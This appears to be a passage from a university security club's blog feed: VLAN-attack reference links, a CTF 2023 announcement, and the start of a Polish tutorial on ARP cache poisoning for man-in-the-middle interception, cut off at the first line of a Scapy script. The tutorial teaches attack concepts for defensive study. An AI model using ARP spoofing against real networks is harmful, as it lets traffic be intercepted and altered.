&lt;li>&lt;a href="https://www.practicalnetworking.net/stand-alone/vlans/"target="_blank" rel="noopener">https://www.practicalnetworking.net/stand-alone/vlans/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.ibm.com/topics/virtualization"target="_blank" rel="noopener">https://www.ibm.com/topics/virtualization&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.solarwinds.com/resources/it-glossary/vlan"target="_blank" rel="noopener">https://www.solarwinds.com/resources/it-glossary/vlan&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.cloudflare.com/learning/network-layer/what-is-a-network-switch/"target="_blank" rel="noopener">https://www.cloudflare.com/learning/network-layer/what-is-a-network-switch/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.section.io/engineering-education/inter-vlan-routing/"target="_blank" rel="noopener">https://www.section.io/engineering-education/inter-vlan-routing/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.tutorialspoint.com/the-data-link-layer-frame-and-frame-fields"target="_blank" rel="noopener">https://www.tutorialspoint.com/the-data-link-layer-frame-and-frame-fields&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://networklessons.com/switching/how-to-configure-vlans-on-cisco-catalyst-switch"target="_blank" rel="noopener">https://networklessons.com/switching/how-to-configure-vlans-on-cisco-catalyst-switch&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.firewall.cx/networking-topics/vlan-networks/218-vlan-access-trunk-links.html"target="_blank" rel="noopener">https://www.firewall.cx/networking-topics/vlan-networks/218-vlan-access-trunk-links.html&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://study-ccna.com/ieee-802-1q/"target="_blank" rel="noopener">https://study-ccna.com/ieee-802-1q/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/IEEE_802.1Q"target="_blank" rel="noopener">https://en.wikipedia.org/wiki/IEEE_802.1Q&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Ethernet"target="_blank" rel="noopener">https://en.wikipedia.org/wiki/Ethernet&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/davidbombal/scapy/blob/main/vlan-hopping.py"target="_blank" rel="noopener">https://github.com/davidbombal/scapy/blob/main/vlan-hopping.py&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.youtube.com/watch?v=SiFyhipl57A"target="_blank" rel="noopener">https://www.youtube.com/watch?v=SiFyhipl57A&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/davidbombal/scapy/blob/main/dtp-form-a-trunk.py"target="_blank" rel="noopener">https://github.com/davidbombal/scapy/blob/main/dtp-form-a-trunk.py&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://study-ccna.com/port-security/"target="_blank" rel="noopener">https://study-ccna.com/port-security/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.nastykusieci.pl/acl-podstawy/"target="_blank" rel="noopener">https://www.nastykusieci.pl/acl-podstawy/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/OSI_model"target="_blank" rel="noopener">https://en.wikipedia.org/wiki/OSI_model&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/yersinia/"target="_blank" rel="noopener">https://www.kali.org/tools/yersinia/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Break The Syntax CTF 2023</title><link>https://whitehats.pwr.edu.pl/blog/2023-06-10-bts-4th-edition/</link><pubDate>Sat, 10 Jun 2023 00:00:00 +0000</pubDate><guid>https://whitehats.pwr.edu.pl/blog/2023-06-10-bts-4th-edition/</guid><description>
&lt;h2>[PL] Break the Syntax 2023&lt;span class="hx:absolute hx:-mt-20" id="pl-break-the-syntax-2023">&lt;/span>
&lt;a href="#pl-break-the-syntax-2023" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>W tym roku turniej Break The Syntax odbył się w dniach 2-4.06, a sponsorem głównym wydarzenia została firma Dolby. W formie stacjonarnej wzięło udział ponad 40 drużyn, czyli ponad 80 osób, a na platformie &lt;a href="https://ctftime.org/event/1940/"target="_blank" rel="noopener">CTFtime&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> zgromadziliśmy 156 drużyn!&lt;/p>
&lt;p>Writeupy możecie znaleźć &lt;a href="https://github.com/pwrWhiteHats/bts-2023-Writeups"target="_blank" rel="noopener">tutaj&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./bts-header.png">
&lt;figcaption>Official poster of the tournament.&lt;/figcaption>
&lt;/figure>
&lt;h2>[ENG] Break the Syntax 2023&lt;span class="hx:absolute hx:-mt-20" id="eng-break-the-syntax-2023">&lt;/span>
&lt;a href="#eng-break-the-syntax-2023" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>This year the event took place on 2-4.06. Over 40 teams took part in the stationary form, which amounted to more than 80 participants. On the &lt;a href="https://ctftime.org/event/1940/"target="_blank" rel="noopener">CTFtime&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, in a remote form, we had gathered 156 teams!&lt;/p>
&lt;p>Writeups are available &lt;a href="https://github.com/pwrWhiteHats/bts-2023-Writeups"target="_blank" rel="noopener">here&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./bts.jpg">
&lt;figcaption>Break The Syntax 2023&lt;/figcaption>
&lt;/figure></description></item><item><title>ARP Cache Poisoning</title><link>https://whitehats.pwr.edu.pl/blog/2023-03-05-arp-spoofing/</link><pubDate>Sun, 05 Mar 2023 00:00:00 +0000</pubDate><guid>https://whitehats.pwr.edu.pl/blog/2023-03-05-arp-spoofing/</guid><description>
&lt;figure>&lt;img src="https://whitehats.pwr.edu.pl/blog/2023-03-05-arp-spoofing/background_hu_df78356f8aadac4f.webp" width="1280" height="720" fetchpriority="high">
&lt;/figure>
&lt;p>Żyjemy w czasach, w których &lt;a href="https://www.cisco.com/c/en/us/products/wireless/wireless-router.html"target="_blank" rel="noopener">router Wi-Fi&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>
znajduje się w praktycznie każdym domu. Możemy się z nim również spotkać w kawiarniach, restauracjach, barach i wielu
innych miejscach, które codziennie odwiedzają dziesiątki osób. Łączność bezprzewodowa, Internet i co się z nim wiąże:
sieci komputerowe, stały się dla nas zwyczajnym stanem rzeczy. Często nie myślimy o tym, co kryje się pod płaszczem tego
dobrobytu, a kryją się między innymi różne zagrożenia. Niestety na tym świecie żyją również ludzie mający złe intencje i
nieetyczne zamiary. Przeprowadzając opisany w poniższym artykule atak mogą manipulować siecią w taki sposób, że wszystko
co zrobisz trafi do nich, a w konsekwencji - poznają Twoje sekrety.&lt;/p>
&lt;h2>Wstęp: protokół ARP&lt;span class="hx:absolute hx:-mt-20" id="wstęp-protokół-arp">&lt;/span>
&lt;a href="#wst%c4%99p-protok%c3%b3%c5%82-arp" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Załóżmy, że chcemy &lt;a href="https://en.wikipedia.org/wiki/Ping_%28networking_utility%29"target="_blank" rel="noopener">&lt;em>pingować&lt;/em>&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> jakiś adres IP w naszej &lt;a href="https://www.comptia.org/content/guides/what-is-a-local-area-network"target="_blank" rel="noopener">sieci
lokalnej&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. Przed wysłaniem wiadomości zostaną do
niej dopisane kolejne nagłówki sieciowe zgodnie z modelem
&lt;a href="https://en.wikipedia.org/wiki/Internet_protocol_suite"target="_blank" rel="noopener">TCP/IP&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, a następnie przesyłana jest przez sieć. Proces ten
nazywamy &lt;a href="https://networkencyclopedia.com/encapsulation/"target="_blank" rel="noopener">&lt;em>enkapsulacją&lt;/em>&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> i wygląda on następująco:&lt;/p>
&lt;ul>
&lt;li>utworzenie nagłówka protokołu &lt;a href="https://en.wikipedia.org/wiki/Internet_Control_Message_Protocol"target="_blank" rel="noopener">ICMP&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>dodanie &lt;a href="https://en.wikipedia.org/wiki/Internet_Protocol_version_4#Packet_structure"target="_blank" rel="noopener">nagłówka IP&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> zawierającego
informacje o logicznych adresach hostów&lt;/li>
&lt;li>na koniec dodanie nagłówka protokołu warstwy &lt;a href="https://en.wikipedia.org/wiki/Data_link_layer"target="_blank" rel="noopener">łącza danych&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>
zawierającego &lt;a href="https://www.techtarget.com/searchnetworking/definition/MAC-address"target="_blank" rel="noopener">adresy fizyczne&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> (MAC) urządzeń
źródłowego i docelowego&lt;/li>
&lt;/ul>
&lt;p>Nagłówek ICMP zostanie utworzony przez program &lt;code>ping&lt;/code>, adres IPv4 został podany przez użytkownika przy uruchomieniu
programu, a co z docelowym adresem MAC? Skąd nasz komputer ma wiedzieć jaki jest adres fizyczny odbiorcy komunikatu?
Kiedy człowiek chce się czegoś dowiedzieć o drugiej osobie to może się zwyczajnie zapytać. Podobnie robi komputer - pyta
się innych komputerów, jaki jest adres MAC hosta o danym adresie IP używając do tego protokołu ARP (&lt;a href="https://en.wikipedia.org/wiki/Address_Resolution_Protocol"target="_blank" rel="noopener">&lt;em>Address Resolution
Protocol&lt;/em>&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>).&lt;/p>
&lt;h3>Działanie ARP&lt;span class="hx:absolute hx:-mt-20" id="działanie-arp">&lt;/span>
&lt;a href="#dzia%c5%82anie-arp" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>ARP działa tylko w sieciach lokalnych wykorzystujących adresy IPv4 (IPv6 korzysta z innego protokołu) i służy do
przypisania adresów logicznych (IPv4) do adresów fizycznych (MAC). Informacje te przechowuje w specjalnej tablicy w
swojej pamięci podręcznej (&lt;em>cache&lt;/em>). Tablicę ARP można wyświetlić za pomocą komendy &lt;a href="https://www.w3schools.com/whatis/whatis_cli.asp"target="_blank" rel="noopener">wiersza
poleceń&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> &lt;code>arp -a&lt;/code>.&lt;/p>
&lt;p>Kiedy wysyłamy komunikat w sieci, nasz komputer sprawdza, czy w tablicy ARP znajduje się wpis zawierający adres IP hosta
docelowego. Jeśli tak, pobiera z tego wpisu adres MAC i buduje
&lt;a href="https://www.tutorialspoint.com/the-data-link-layer-frame-and-frame-fields"target="_blank" rel="noopener">ramkę&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> gotową do wysłania. W przeciwnym
wypadku, na &lt;a href="https://www.omnisecu.com/tcpip/broadcast-mac-address.php"target="_blank" rel="noopener">rozgłoszeniowy adres MAC&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> zostaje wysłane żądanie
ARP (&lt;em>request&lt;/em>) z pytaniem do jakiego adresu MAC przypisany jest dany adres IP. Na to żądanie odpowiada tylko host,
który ten adres posiada, wysyłając swój adres MAC w odpowiedzi ARP (&lt;em>reply&lt;/em>), jak również zapisując na przyszłość w
swojej pamięci adres IP wraz z adresem MAC hosta, od którego otrzymał zapytanie.&lt;/p>
&lt;p>Jeśli żadne urządzenie nie odpowiedziało na żądanie ARP to oznacza, że takiego hosta nie ma w sieci.&lt;/p>
&lt;h2>Działanie ataku ARP cache poisoning&lt;span class="hx:absolute hx:-mt-20" id="działanie-ataku-arp-cache-poisoning">&lt;/span>
&lt;a href="#dzia%c5%82anie-ataku-arp-cache-poisoning" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Protokół ARP jest wygodny i wręcz potrzebny w większości sieci IPv4, ale bardzo łatwo wykorzystać go do przeprowadzenia
ataku typu &lt;a href="https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/"target="_blank" rel="noopener">&lt;em>man-in-the-middle&lt;/em>&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> zwanego &lt;em>ARP cache
poisoning&lt;/em> lub &lt;em>ARP spoofing&lt;/em>.&lt;/p>
&lt;p>W tym scenariuszu atakujący chce przekierować ruch między dwoma urządzeniami (często pomiędzy hostem a &lt;a href="https://www.itpro.co.uk/network-internet/30327/what-is-a-default-gateway"target="_blank" rel="noopener">bramą
domyślną&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>) aby móc go analizować i ewentualnie
modyfikować. W tym celu wysyła do ofiar sfałszowane odpowiedzi ARP, w których zawarte są adresy IP celów oraz adres MAC
atakującego. Są to tzw. &lt;em>gratisowe odpowiedzi ARP&lt;/em>, ponieważ nie stanowią rzeczywistej odpowiedzi na żadne zapytanie
ARP. Hosty, które odebrały sfałszowane pakiety ARP nadpisują wpisy w swojej pamięci podręcznej mapując adres IP ofiary
na adres MAC intruza - następuje &lt;em>zatrucie tablicy ARP&lt;/em>.&lt;/p>
&lt;p>Dzięki temu zabiegowi, host chcąc wysłać wiadomość, w ramce jako adres docelowy poda adres fizyczny atakującego, co
spowoduje, że to właśnie on otrzyma te dane. Intruz będzie mógł otrzymane informacje przetworzyć i potencjalnie
zmodyfikować, aby w końcu przekazać je do właściwego urządzenia docelowego, aby nie zniszczyć komunikacji między
atakowanymi urządzeniami, z których perspektywy nic się nie stało.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./arp_mitm.png" alt="arp cache poisoning">
&lt;figcaption style="display: flex; justify-content: center; align-items: center;">Grafika utworzona dzięki &amp;nbsp;&lt;a
href="https://www.canva.com/pl_pl/" target="_blank">Canva&lt;/a>&lt;/figcaption>
&lt;/figure>
&lt;p>Podobnie wyglądałaby sytuacja, w której osoba podszywa się pod kuriera, odbiera paczkę od nadawcy, a następnie otwiera
ją, zabiera to co mu się podoba lub zostawia niemiłą niespodziankę, zamyka paczkę i w końcu dostarcza ją do adresata.&lt;/p>
&lt;h2>Przykładowy skrypt: Python + Scapy&lt;span class="hx:absolute hx:-mt-20" id="przykładowy-skrypt-python--scapy">&lt;/span>
&lt;a href="#przyk%c5%82adowy-skrypt-python--scapy" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Na początku należy podkreślić, że manipulacje i przechwytywanie ruchu należy przeprowadzać &lt;strong>wyłącznie&lt;/strong> w naszej
własnej sieci lub sieci, w której na przeprowadzanie takich przedsięwzięć mamy &lt;strong>wyraźne pozwolenie&lt;/strong>.&lt;/p>
&lt;p>Istnieje wiele narzędzi do przeprowadzania ataku zatruwania tablicy ARP. Bardzo popularnym jest
&lt;a href="https://www.ettercap-project.org/"target="_blank" rel="noopener">Ettercap&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, który działa z poziomu wiersza poleceń, ale udostępnia również interfejs
graficzny. Jednak, aby pokazać przerażającą prostotę tego ataku, przygotowałem krótki skrypt w języku
&lt;a href="https://www.python.org/"target="_blank" rel="noopener">Python&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. Wykorzystywana przeze mnie biblioteka &lt;a href="https://scapy.net/"target="_blank" rel="noopener">Scapy&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> służy do prostego
tworzenia pakietów, które można następnie wysłać do sieci.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">scapy.all&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">send&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ARP&lt;/span>
